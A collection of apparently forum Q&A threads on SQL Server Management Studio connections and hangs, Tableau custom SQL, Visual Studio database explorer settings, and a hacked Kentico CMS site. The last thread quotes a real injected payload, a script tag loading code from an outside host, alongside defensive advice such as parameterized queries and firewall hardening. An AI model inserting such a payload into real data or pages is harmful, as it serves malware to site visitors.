Seems like this would be a fairly popular question to get asked, I did a quick search and didn't see anything. I'm curious to see if there is a way around this.
I spend my entire day in SSMS, and I am constantly changing my connection between many different servers while working within the same query file. I have them all set up as Registered servers, but for some reason, the change connection dialog box doesn't link up with that list...This occasionally becomes annoying.
You would think the "Browse for more" option under server name would have a tab for registered servers. I just installed SSMS 2014 today and was hoping maybe there'd be a new feature to cover this or something.
Have you tried SSMSBoost?
SSMSBoost URL
Several of the features include:
Preferred connections
Connection aliases/coloring
Quick Connections Switch
Drop-down on toolbar, allowing to switch connections between servers
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Does anybody knows if there is any way to set the default value for the "With design from Server" drop down field ???
The inconvenience is that I have quite a long list of servers and have to select the development server every time I refresh the design.
It would be handy to be able just to click on OK button in this dialog box, rather then browsing for the same server name again and again...
Sorry. At least from my knowlegde this is not possible. Best option is trying what has already been suggested in the comments.
That said you can also change the design using the "load convert" command on the Domino server console (it's not just for converting mail boxes).
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Oftentimes I need to troubleshoot a workbook that another person at my company has created and published to our server. To troubleshoot, I need to see their connection details, specifically their Custom SQL, to understand what data they are using in their extract.
Is there any way to view this connection info (specifically their SQL code) when viewing the published workbook on the server (web) version?
I am an admin and I am able to download their workbook to my desktop version of tableau, then open it, then reconnect to the data, then look through the data connections they created, to see their SQL. But it's a really cumbersome process.
All I'm looking to do is, when looking at a published workbook, see the data connection details so that I can see the Custom SQL, without going through the process of downloading I described above.
You can get some details on the SQL statement by creating a performance recording.
From the Tableau Server Admin Guide:
Enable Performance Recordings:
Choose the Admin button in Tableau Server.
Choose Site.
Select a site.
Choose Edit.
In the Edit Site dialog box, select Allow Performance Recording.
Choose OK.
You start performance recording for a specific view by adding ?:record_performance=yes to
the url. For example:
http://server.site.com/views/Variety/BaseballStatistics?:record_performance=yes
Now, notice a new link at the top of your view called "Show Performance Recording".
Click this to open the generated performance workbook dashboard. Click on the bar chart and observe the SQL appear at the bottom of the view. Note, the SQL text will truncate after about 250 characters.
The admin guide suggests viewing the "Tableau Log" to find the full SQL statement.. I have looked at all the server side logs in C:\ProgramData\Tableau\Tableau Server\data\tabsvc\logs but cannot locate the SQL. (please reply if you know where to find this?)
You can also run a database trace to see the SQL that the database sees. For example, for MS SQL Server, run the Profiler tool, setup a default trace, and filter on "Application Name" = "Tableau Protocol Server 8.0" or similar.
I have version 8.1 and this is how I got around this problem. Tableau shows a 'Custom SQL Warning' when you open a workbook that contains the custom SQL. You can copy all the text in this message by simply Ctrl + C as this is any other Windows warning message. And then paste it your editor of choice to analyze it.
I do not know if this works on earlier versions.
I thought you could do this easily, and originally answered that you could, but I didn't pay close attention to your question. You can change some things about data connections without editing the workbook, including the ip address or name of the database server, but there doesn't appear to be a simple way to access custom sql without downloading the workbook.
Go to the Administrator page and select Data Connections.
You can enter some search criteria to filter the list of data connections shown (or not).
Find the workbook in question by scanning the second column -- you can sort the column if that helps.
Then select the corresponding data connection in the 4th column to see the details of the connection.
If it makes sense for the connection, you can also modify the connection directly at the server. This is really useful if you, say, need to move your enterprise database to a new IP address or change a database password, without downloading, modifying and republishing alot of workbooks.
An even better practice is to start using shared data connections hosted on Tableau server instead of having each workbook have its own local copy of connection and related info.
I'm using Visual Studio 2012 for development. I really like using the SQL Server Object Explorer to work on database related tasks (queries, schema changes etc.). The issue is, every time I reload the IDE, I have to connect to the databases I work with. Is there a way to persist the list of databases like I can with the Server Explorer tab?
When you say you can't replicate, how long have you been using the explorer for to attempt to replicate it? It only loses the connections every now and then, so in fact right now I can't replicate it either, but over the next few days I'm sure they will get reset again!
It seems that there is something wrong with your VS IDE
It seems that this is a little bit unlikely as the same thing happened to me when I was running in VS 2012 beta running on Win 8 Release Preview too.
However I will try your suggestions and i'll see what happens, just to clarify are you saying that I run those commands once and then after that use VS as usual or are you saying that I try running in safe mode all the time?
Is reset settings same as the Import and Export settings->Reset All Settings menu item? (By the way I run with general development settings)
Anyone know where these connection settings are actually stored (registry, folder ...)?
Open VS. Don´t open any project or solution.
Add your databases in the Server Explorer.
Then File -> Save All
When I click on the "Databases" node in "Object Explorer" it just keeps on "Loading items" until at some point it just hangs.
This happens only when connecting to a remote server, not when accessing a database on my PC.
It also doesn't happen with any other node.
The guys at the web-hosting company didn't have any trouble with it. (But they're running 2008, and so is the SQL server there)
I reinstalled the whole SQL server etc. but to no avail.
What might be the problem?
I experienced this same problem: when accessing a remote server with the Object Explorer, SSMS would hang indefinitely. The Windows System Event Log would show DCOM error 10009 ("DCOM was unable to communicate with the computer MACHINE_NAME using any of the configured protocols.").
The solution was to clear the MRU history and other settings from my profile. To do that:
Close any open instances of SSMS 2012
In Explorer, open "%AppData%\Microsoft\SQL Server Management Studio"
Rename the "11.0" folder to something else, like "11.0.old"
Open SSMS 2012
You'll see that your MRU list has been cleared. You should then be able to re-enter your credentials and use SSMS as normal.
If everything works, you can delete the renamed folder. Otherwise, delete the new "11.0" folder that was created and rename the original one back to "11.0".
I have no idea whether it's actually the MRU list that's causing this problem or if it's some other profile data.
We were able to discover that SSMS is trying to make a DCOM connection over port 135 to the SQL Server (perhaps for SSIS, T-SQL Debugging, or something else). Our firewall was configured to block port 135. By opening the port in the firewall we were able to use SSMS (hence the reason it worked against local databases but not remote ones). Unfortunately, an open port 135 is an invitation for a lot of attacks, so that wasn't a practical solution for us.
Turn Auto-Close off on all the databases. Worked like a charm to me!
Every time you expand or refresh the database list, server has to awake the databases causing the hang.
Just run this to find all the databases that have auto-close on
SELECT name, is_auto_close_on
FROM master.sys.databases AS dtb
WHERE is_auto_close_on = 1
ORDER BY name
Credits to http://social.msdn.microsoft.com/Forums/sqlserver/en-US/99bbcb47-d4b5-4ec0-9e91-b1a23a655844/ssms-2012-extremely-slow-expanding-databases?forum=sqltools
To turn-off this setting for a database - Right click on database instance in object explorer -> Click properties -> Click "Options" in left navigation pane in database properties window -> Change the value of Auto Close property to "False" in right pane as shown in the snapshot below:
Assuming you have access to only one database at the hosting company (which is almost always the case, at least with a certain username/password), you can avoid the need to use the dropdown at all by setting your registered server to default to the database you're supposed to access:
(It may take longer here, too, but this will be one-time. You can also type it instead of waiting for the list to populate.)
This way, even if the login the host created for you routes you to tempdb or something by default, Management Studio will still put you in the context of your database.
I see now that you are talking about the Object Explorer node, not the "Use database" dropdown that I somehow interpreted incorrectly. An exercise to try might be to highlight the databases node (don't expand it) and click on F7 (Object Explorer Details). If this loads for you then it can be an alternative to navigate through the hierarchy and, as a bonus, you can show lots of entity attributes here and also multi-select, two things you have no control over in Object Explorer.
If that doesn't help, then your host should be helping you better than they appear to be. If SSMS 2012 is supported then they should be able to test this in SSMS 2012 and confirm or deny that they can reproduce it. If it is not supported then I think your recourse is to install SSMS 2008 as well (they can co-exist) and use it for managing this specific server.
Of course, just about anything that you can do in Object Explorer (and plenty of things you can't), you can do by using the catalog views and/or DMVs. So before you determine what to do, you may want to review (or share with us) exactly what you are using Object Explorer for - if there is a way to do it without Object Explorer, you might like the workaround better than having two versions of the tool (since the improvements in 2012 SSMS have absolutely nothing to do with Object Explorer).
In my case deleting the profile folder worked exactly once. The next time I opened SSMS 2012 it would freeze again when connecting to a server. SP1 didn't fix this either.
That was until I found the following simple workaround described on a ticket by Ben Amada over at connect.microsoft.com: Always close the Object Explorer Details before closing SSMS 2012.
So the complete workaround for me is this:
Follow Jaecen's answer, but close SSMS 2012 again after it created a clean profile folder
Apply Hoodlum's recommendation and copy SqlStudio.bin from the old profile folder to the new one (the old profile folder can be deleted afterwards)
Everytime before closing SSMS 2012 make sure the Object Explorer Details window is closed
The first two steps are required only once, or if the Object Explorer Details window was left open accidentally.
Edit
I just noticed that closing the Object Explorer Details window is also required when (re-)connecting to an SQL server in the same SSMS session. So basically whenever connecting to a server the Object Explorer Details windows has to be closed.
I spent over a month with Microsoft SQL Support troubleshooting this. It has been submitted as a bug.
I have both SQL 2012 SSMS and VS 2012 installed on Win 7 (64).
Deleting the profile folder never worked for any reasonable length of time.
The workaround we found was to ensure that my SSMS profile defaulted to the Master database when connecting. It appeared to have something to do with the fact that I'm connecting with Windows Authentication and I belong to more than one AD group that have SQL permissions assigned AND I don't have SQL specific permissions set up on my AD account.
I am connecting to several remote servers rangig from 2000 to 2012.
SMSS on local PC is SQL Server 2012,SMSS is 11.0.2100.60
SSMS freezes several times a day.When this occurs, I go via RDP to the
local server / SMSS / Activity Monitor and kill the processes from my PC with Database Name = master, one at a time, until SMSS on my PC unfreezes.
This always works, however, a cure for the disease raher than the symptoms would be highly welcome.
Have some SQL Servers from 2000 to 2012,
access then through SMSS from my desktop.
Problem occurs with varying frequency, looks like this: when I collapse a server in object explorer, SMSS freezes.
looking in activity monitor on the server in question, i find a process in master db with host = my desktop executing the following query
SELECT dtb.name AS [Name] FROM master.dbo.sysdatabases AS dtb ORDER BY [Name] ASC SMSS
killing the process frees SMSS.
Here is what worked for me
Open SSMS
click on connect to object explorer button
in the connect to server dialog box expand options >>
click reset all
Done!
I've test approximately all above answers but my SSMS got stuck in expanding the database list. I found the problem finally. The problem was because of a database that I restored it but It did restore correctly at the end. Then When I expanded the database list it was sticking.
I run a the query
SELECT
dtb.name AS [Name]
,dtb.database_id AS [ID]
,CAST(has_dbaccess(dtb.name) AS bit) AS [IsAccessible] FROM master.sys.databases AS dtb
Then the result took too long and at the end timed out but When I filter the stuck database I got result.
SELECT
dtb.name AS [Name]
,dtb.database_id AS [ID]
,CAST(has_dbaccess(dtb.name) AS bit) AS [IsAccessible] FROM
master.sys.databases AS dtb
Where name <> 'StuckDB' ORDER BY [Name] ASC
At the end I decided to detach StuckDB to solve my problem.
I have now applied SQL 2012 Service Pack 1 (through Windows Update) and it seems to work fine now, though it does take a very long time to load.
"Open SSMS click on connect to object explorer button in the connect to server dialog box expand options >> click reset all" - it works
I solved this problem by changing my default database back to master.
Go to database properties at SSMS and change compatibility to 2012. Then check.
My site is created in Kentico CMS 5.5 and SQL server 2008. Its running successfully but now these days any one of hacker hack my site and after a long time i found that in many of tables hacker add
></title><script src="http://lilupophilupop.com/sl.php"></script><!--
line in before of ever varchar cell. Suppose i have user table in that case before username it adds this string, before user's email-ID it adds this same string. How i can prevent my sql server by using this hacking. And what is the reason behind this?
How i can prevent my sql server by using this hacking.
First, you need to find out how the hacker got the data into your database (SQL injection, weak account password, ...). Then you can take appropriate actions.
And what is the reason behind this?
The hacker hopes that the varchar field is printed on a web page without being properly encoded first. If that happens, the user's browser will download and execute the script.
This looks like it could be an 'SQL Injection' attack probably aimed at sending your visitors to a malware of fraudlent site.
Unfortunatly as Kentico CMS is commercial software your options are limited. You won't have the source that you can tweak to prevent further attacks commint through the front end.
You may need to
Review the security of your SQL server and ensure that the attacker didn't connect to it directly
Update to the latest security patch for the CMS (if you pay for maintenance it's free)
Get support from Kentico, they may have seen this before
Clean up your data and remove the offending scripts
If none of that is sucessful you may be able to add triggers to the necessary tables in SQL to remove the scripts as they are inserted in the database.
You need to follow the industry best practices : look at
https://www.owasp.org/index.php/Category:OWASP_Top_Ten_Project
For the top 10 Web application security risks.
There are few things to keep in mind that save your database from hacking is given below:
Always use parametrized Sql, pass all values to DB using parametrized query
SqlCommand cmd = new SqlCommand("SELECT * FROM TableName WHERE ID = #ID");
Not
SqlCommand cmd = new SqlCommand("SELECT * FROM TableName WHERE ID = " + value + "");
Similarly, use INSERT, UPDATE, and DELETE query, or use STORED PROCEDURE in same manner.
Only set permission to your specific user
You can on/off ValidateRequest in your page/web.config file as required.
Set Validation both in client/server side so that only valid data will pass to DB
User appropriate data type in your column other than using a common data type (say VARCHAR)
Thanks
I agree with #Heinzi - you should make an effort to figure out the attack vector (how the baddie got into your application). You've found text in your database, but how did it get there? Directly via Sql Server or through the web server OR through Kentico? As you go through this investigative process, make notes of where your security is weak, and firm it up as you go - you're essentially doing a security audit! Doing these steps will lead you to harden your servers against most sort of attacks, hopefully preventing this sort of thing from happening to you again.
I don't know anything about your topology (how your servers are set up and connected to each other and the web), but we can make a start at investigating by looking into the windows log of the machine your sql server is installed on - look for logins happening at times that are questionable, look for odd user accounts, and examine your password and username security. Get more details of things to look into here:Windows Intruder Detection Checklist
If that doesn't turn up anything, look at the Sql server logs, and review your username/password security AND the access to the sql server instance; eg: the sql server should only be accessible from machines that have an explicit reason - your web server, maybe a network admin box, etc - use Windows Firewall to make the access 'tight', so that the sql server instance doesn't just respond to any computer asking. - Here's more details about how to secure sql server.
Check the web.config on your webserver - is the sql server username and password there? Check your ftp logs to see if anyone's tried to read it recently.
Kentico versions 5+ (and maybe earlier) come with the ability to log 'events'. If you have event logging turned on, you should be able to see your templates being modified; go to Site Manager > Administration > Event Log and go back to the date when you first noticed it, and examine the entries for what user account was doing the modifications.
Or even better: if you have access to the db server, you can do a direct table query to get at this data:
SELECT TOP 1000 *
FROM [CMS_EventLog] Look again for entries that seem to happen at odd times from weird Ip addresses or usernames.
And again, it's better to restrict access to all 'sensitive' resources (the Database, Kentico cmsdesk and siteadmin) as best you can. Windows Firewall is pretty great at doing this - tighten down Remote Desktop access, and close as many ports as you can to reduce your servers' exposed surface area. Test your exposure using something as simple as Shields Up! from Gibson Research or the Awesome Nmap security scanner tool.
As an example, my web servers only publicly expose ports 80 and 443 (http and https), and maybe a random high port like 4456 for Ftp if it's needed. I use Windows Firewall to restrict access to Remote Desktop to a handful of IP addresses. The Sql servers have NO public ports, they are tuned to 'stealth' and not reply to any request from a non-authorized IP.
As an anecdotal example - when I put a server live, it has taken as little as 8 hours before bots start trying to log in via remote desktop (you can see thousands of failed attempts in the windows Event Log > security) - as soon as you use windows firewall to ignore non-approved IP addresses, the log stays clear.
As a helpful note: if you are not experienced doing this sort of thing, you may want to procure the services of an experienced Windows system administrator to help you. And please realize that there may be more compromised systems - you may have just found the 'tip of the iceberg', there could be Trojans and Rootkits and other nasties waiting, so you'll need a full security scan too.